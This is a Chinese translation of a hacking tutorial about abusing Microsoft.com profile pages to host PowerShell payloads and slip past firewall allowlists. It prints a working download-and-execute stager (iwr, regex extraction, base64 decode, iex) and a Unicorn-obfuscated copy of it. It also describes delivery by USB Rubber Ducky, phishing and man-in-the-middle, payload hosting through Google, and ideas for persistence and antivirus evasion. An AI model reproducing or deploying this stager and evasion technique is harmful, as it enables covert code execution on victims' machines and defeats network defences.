使用Microsoft.com域来绕过防火墙并执行有效载荷

luochicun Web安全 2019年8月4日发布
Favorite收藏

导语:Microsoft.com是互联网上最广泛的域名之一,目前拥有数千个注册的子域名。

Microsoft.com是互联网上最广泛的域名之一,目前拥有数千个注册的子域名。 Windows 10将每小时对这些子域进行数百次ping操作,这对防火墙和监控操作系统发出的所有请求构成了安全挑战,攻击者可以使用这些子域来提供有效载荷以逃避网络防火墙。

最近,当我试图在社交媒体上分享一篇文章时,Twitter阻止我在tweet窗口中输入一个简单的PowerShell命令。之后,Twitter显示了一条错误消息,说明该推文无法提交。

我突然想到,黑客过去一直在twitter上发布PowerShell命令,目的是将该服务用作一个有效的载荷托管系统。这个概念并不新鲜,让我想到了可以类似使用的其他流行域名,以及该活动对攻击可能带来的潜在好处。比如,你可以阅读一下这篇文章《在不到2小时内入侵200个社交媒体账号》。

为什么使用Microsoft域而不是专用的VPS?

最显著的优势可能是这些流行域对网络防火墙和高度安全环境的影响,攻击者将在Microsoft域上托管其有效载荷。当目标计算机试图下载Windows 10时,经过强化的操作系统和网络将更有可能允许Web请求遍历网络并绕过防火墙和组织设置的入侵检测系统(IDS)。

Windows 10计算机每天可以ping数万次。即使使用了强化设置,Windows 10也会对Microsoft服务器进行数千次ping操作。需要一些传输到Microsoft域和从Microsoft域传输的数据,来维护系统更新和操作系统的其他重要方面。

1.jpg

某些Microsoft域可能会出现不常见的子域(例如,“geover-prod.do.dsp.mp.microsoft.com”),这些域通常用于在后台运行的专用服务,资源和应用程序。这意味着一些严格的防火墙和IDS将允许这些具有通配符的域(例如,allow *.microsoft.com)通过网络。某些系统管理员也可能完全忽略Microsoft域,因为它们不太可能被恶意攻击者滥用。

攻击者可以利用这些信息来为攻击做准备,以下面的Wireshark捕获为例,你注意到什么异常了吗?

2.jpg

“social.msdn.microsoft.com”域名仅用于下载攻击者的有效载荷。对于任何执行深度包检测(DPI)的人来说,这种流量看起来大多是良性的,该域名属于Microsoft针对开发人员和日常Windows 10用户的社区论坛。请求(TCP / TLS)被加密,因此进一步检查数据包是不会显示网页或内容(即有效载荷)的完整路径的,观察网络上此流量的管理员可能会认为目标用户只是在浏览Microsoft论坛。

导航到攻击者设置的页面,我们可以看到嵌入到“关于我”部分的有效载荷。

3.jpg

许多Microsoft拥有的域可用于此类活动,如Microsoft Answers,Office Forms,OneDrive,甚至其他Microsoft新闻媒体的评论部分,所有这些合法的Microsoft域都允许用户输入可以被滥用来承载有效载荷。

第1步:创建有效载荷

我们要先定义将在目标计算机上执行的最后一段代码。为了简单起见,有效载荷将在Documents\文件夹中创建一个名为pwn_sauce的空文本文件。注意三重反斜杠(\\\),在Bash(Kali终端)中,需要将有效载荷中的PowerShell变量作为文字字符串传递。

powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:\Users\\\$env:USERNAME\Documents\pwn_sauce'

PowerShell将使用绕过执行策略(-ep),同时使用/w 1隐藏终端弹出窗口。New-Item cmdlet用于创建一个新文件,在文件名的路径中,用户名环境变量用于自动插入受感染用户的用户名。它可以在任何Windows 10计算机上执行,创建Documents \文件夹中的新文件,而无需修改命令的任何部分。

上面屏幕截图中的简单命令可以直接嵌入“关于我”部分,包含特殊字符的复杂PowerShell有效内容必须是base64编码的。否则,Microsoft的服务器将检测并清理特殊字符(例如<>&),Base64编码有效载荷是解决该问题的一种快捷方法。

~# printf '%s' "PAYLOAD GOES HERE" | base64

cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6
XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHB3bl9zYXVjZSc=

使用扩展命令,base64可能会产生多个编码行。在PowerShell中使用base64字符串时,它们需要出现在一行中。通过将base64输出管道连接到tr中来删除(-d)新行(\n),将许多行连接到一个字符串中。

~# printf '%s' "PAYLOAD GOES HERE" | base64 | tr -d '\n'

cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHB3bl9zYXVjZSc=

这是用于设置有效载荷的,让我们继续创建Microsoft帐户并设置stager。

第2步:创建Microsoft帐户

需要Microsoft帐户才能创建和修改托管有效内容的配置文件页面,导航到Live登录页面以启动该过程。

7.jpg

登录后,导航到social.msdn.microsoft.com/Profile/USERNAME上的用户个人资料页面,然后单击“编辑我的个人资料”选项,以更新“关于我”部分。

第3步:在Microsoft网站上托管有效载荷

Microsoft配置文件页面上的“关于我”部分可以容纳1024个字符,在创建有效载荷时应注意这一点,尤其是在使用base64编码有效载荷时,因为它会增加字符数。可以以明文形式托管有效载荷,但PowerShell stager需要包含一些代码来检测并以纯文本格式转换已清理的HTML字符串。

8.jpg

将所需的有效载荷粘贴到START和END之间的“关于我”部分,这对下一步的stager至关重要,它将分析Microsoft页面上的所有HTML并提取“START”和“END”标识符之间的编码字符串。

完成后,单击页面底部的“保存”按钮。

第4步:创建Stager

下面的PowerShell一行程序用于下载Microsoft用户的个人资料页面,提取编码的有效载荷,对其进行解码,然后执行它。

$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/USERNAME -UseBasicParsing;$r = [Regex]::new("(?<=START)(.*)(?=END)");$m = $r.Match($wro.rawcontent);if($m.Success){ $p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m.value));iex $p }

有多个用分号分隔的命令链接在一起,我将分解下面的每个命令。

$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/USERNAME -UseBasicParsing;

上图:Invoke-WebRequest (iwr) cmdlet用于获取带有- usebasicparser参数的页面,所有这些被设置到$wro (WebResponseObject)变量中。虽然不推荐使用usebasicparser参数,但它可以用于启用基本解析。我发现需要手动设置此参数才能使请求成功。

$r = Regex::new("(?<=START)(.*)(?=END)");

上图:PowerShell将使用正则表达式模式来定位HTML中的有效载荷,还有其他方法可以使用PowerShell从网页中提取内容,但这种方法具有普遍性。嵌入到任何网站的START和END中的有效载荷将被此命令过滤掉。

$m = $r.Match($wro.rawcontent);

上图:它将为匹配正则表达式模式的任何文本创建变量$ m。

if($m.Success){ $p = System.Text.Encoding::UTF8.GetString(System.Convert::FromBase64String($m.value)); ...}

上图:如果在$ m变量中找到任何模式,则解码(FromBase64String)字符串并将其设置为$ p变量。

iex $p

上图:使用Invoke-Expression(iex)执行$p变量。在这种情况下,$p是PowerShell有效载荷。要测试它,可以使用echo命令替换iex命令,如下所示。

15.jpg

第5步:混淆PowerShell Stager(可选)

攻击者可能需要使用像Unicorn这样的工具来混淆stager。要深入了解Unicorn,请查看“如何创建无法检测的有效载荷”和官方GitHub页面以获取详细信息。

~# python unicorn.py stager.ps1

                                                         ,/
                                                        //
                                                      ,//
                                          ___   /|   |//
                                      `__/\_ --(/|___/-/
                                   \|\_-\___ __-_`- /-/ \.
                                  |\_-___,-\_____--/_)' ) \
                                   \ -_ /     __ \( `( __`\|
                                   `\__|      |\)\ ) /(/|
           ,._____.,            ',--//-|      \  |  '   /
          /     __. \,          / /,---|       \       /
         / /    _. \  \        `/`_/ _,'        |     |
        |  | ( (  \   |      ,/\'__/'/          |     |
        |  \  \`--, `_/_------______/           \(   )/
        | | \  \_. \,                            \___/\
        | |  \_   \  \                                 \
        \ \    \_ \   \   /                             \
         \ \  \._  \__ \_|       |                       \
          \ \___  \      \       |                        \
           \__ \__ \  \_ |       \                         |
           |  \_____ \  ____      |                        |
           | \  \__ ---' .__\     |        |               |
           \  \__ ---   /   )     |        \              /
            \   \____/ / ()(      \          `---_       /|
             \__________/(,--__    \_________.    |    ./ |
               |     \ \  `---_\--,           \   \_,./   |
               |      \  \_ ` \    /`---_______-\   \\    /
                \      \.___,`|   /              \   \\   \
                 \     |  \_ \|   \              (   |:    |
                  \    \      \    |             /  / |    ;
                   \    \      \    \          ( `_'   \  |
                    \.   \      \.   \          `__/   |  |
                      \   \       \.  \                |  |
                       \   \        \  \               (  )
                        \   |        \  |              |  |
                         |  \         \ \              I  `
                         ( __;        ( _;            ('-_';
                         |___\        \___:            \___:

aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave

[*] Exported powershell output code to powershell_attack.txt

然后,使用“powershell_attack.txt”文件找到混淆的stager。

~# cat powershell_attack.txt

powershell /w 1 /C "s\"\"v ic -;s\"\"v tHL e\"\"c;s\"\"v NwW ((g\"\"v ic).value.toString()+(g\"\"v tHL).value.toString());powershell (g\"\"v NwW).value.toString() ('JAB3AHIAbwAgAD0AIABpAHcAcgAgAC0AVQByAGkAIABoAHQAdABwAHMAOgAvAC8AcwBvAGMAaQBhAGwALgBtAHMAZABuAC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAFAAcgBvAGYAaQBsAGUALwBVAFMARQBSAE4AQQBNAEUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnADsAJAByACAAPQAgAFsAUgBlAGcAZQB4AF0AOgA6AG4AZQB3ACgAIgAoAD8APAA9AFMAVABBAFIAVAApACgALgAqACkAKAA/AD0ARQBOAEQAKQAiACkAOwAkAG0AIAA9ACAAJAByAC4ATQBhAHQAYwBoACgAJAB3AHIAbwAuAHIAYQB3AGMAbwBuAHQAZQBuAHQAKQA7AGkAZgAoACQAbQAuAFMAdQBjAGMAZQBzAHMAKQB7ACAAJABwACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAG0ALgB2AGEAbAB1AGUAKQApADsAaQBlAHgAIAAkAHAAIAB9AAoA')"

第6步:部署Stager

部署Stager是为USB Rubber Ducky设计和测试的,但是,在目标设备上执行代码还有很多其他方法。以下是可能的攻击向量的列表:

Man-in-the-middle:像Mitmf(现已弃用)和Bettercap这样的工具能够拦截下载并用恶意文件替换它们。

电子邮件附件:网络钓鱼攻击是攻击者试图破坏组织的主要方式之一,有些组织规模太大,无法为员工提供足够的安全意识培训,这使其成为一种有效的攻击手段。

USB Dead Drop:USB drop的成功率接近50%。许多人可能会被欺骗,把一个随机的u盘插入他们的计算机。

USB Rubber Ducky

第7步:优化攻击

攻击者可以采取更多措施来优化这种攻击。

滥用Google.com托管有效载荷:

使用Google.com托管有效载荷是对攻击的一种优化改进,与*.microsoft.com一样,大多数防火墙都不会阻止直接向google.com发出的GET请求。

直接在Google上托管有效载荷比较棘手,这是因为谷歌是一个搜索引擎,因此攻击者需要通过创建一个谷歌可以索引的网站来利用它。然后,他们需要创建一个包含有效载荷的Web路径作为文件名。稍后将通过识别href而不是关于我的部分(下面的示例)的主体来获取有效载荷。目标计算机实际上永远不会查询攻击者的网站,因此有效载荷将完全使用谷歌搜索引擎获得。

18.jpg

有目的的有效载荷:

本文介绍了一个非常简单的PowerShell载荷,它在Documents \文件夹中创建了一个空文本文件。实际上,攻击者可能会尝试泄露Wi-Fi密码,使用schtasks之类的工具建立持久性,或者在StartUp \文件夹中删除EXE。

然而,如果离开网络的数据是一个障碍,那么很可能很容易检测到一个通用的TCP反向shell,这会破坏在stager中使用Microsoft或Google域的目的。在这种情况下,可能更希望将目标计算机用作Wi-Fi热点并创建SMB共享。此类攻击将允许攻击者连接到目标的Wi-Fi热点(绕过原始网络)并盗取计算机上的文件。

逃避SmartScreen:

SmartScreen 筛选器是 Internet Explorer 以及 Microsoft Edge 中的一种帮助检测仿冒网站的功能,SmartScreen 筛选器还可以阻止安装恶意软件。当你在 Web 中浏览时,它在后台运行,可分析网页并确定这些网页是否有任何可能值得怀疑的特征。一旦发现可疑的网页,SmartScreen 筛选器将显示一则消息,给您以提供反馈的机会并提示您谨慎处理。

在我的短时间测试中(没有Unicorn混淆),一个经过编译的PowerShell stager(EXE)能够在一台装有安全防护方案的Windows 10计算机上绕过Chrome浏览器、Windows Defender和Avast防病毒软件。另一方面,SmartScreen将提示用户手动执行由“未知发布者”(即攻击者)创建的EXE。本文重点介绍了如何绕过网络防火墙,今后我们将介绍如何签署可执行文件并绕过SmartScreen。

本文翻译自:https://null-byte.wonderhowto.com/how-to/use-microsoft-com-domains-bypass-firewalls-execute-payloads-0196505/ 如若转载,请注明原文地址: https://www.4hou.com/web/18984.html
点赞 9
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论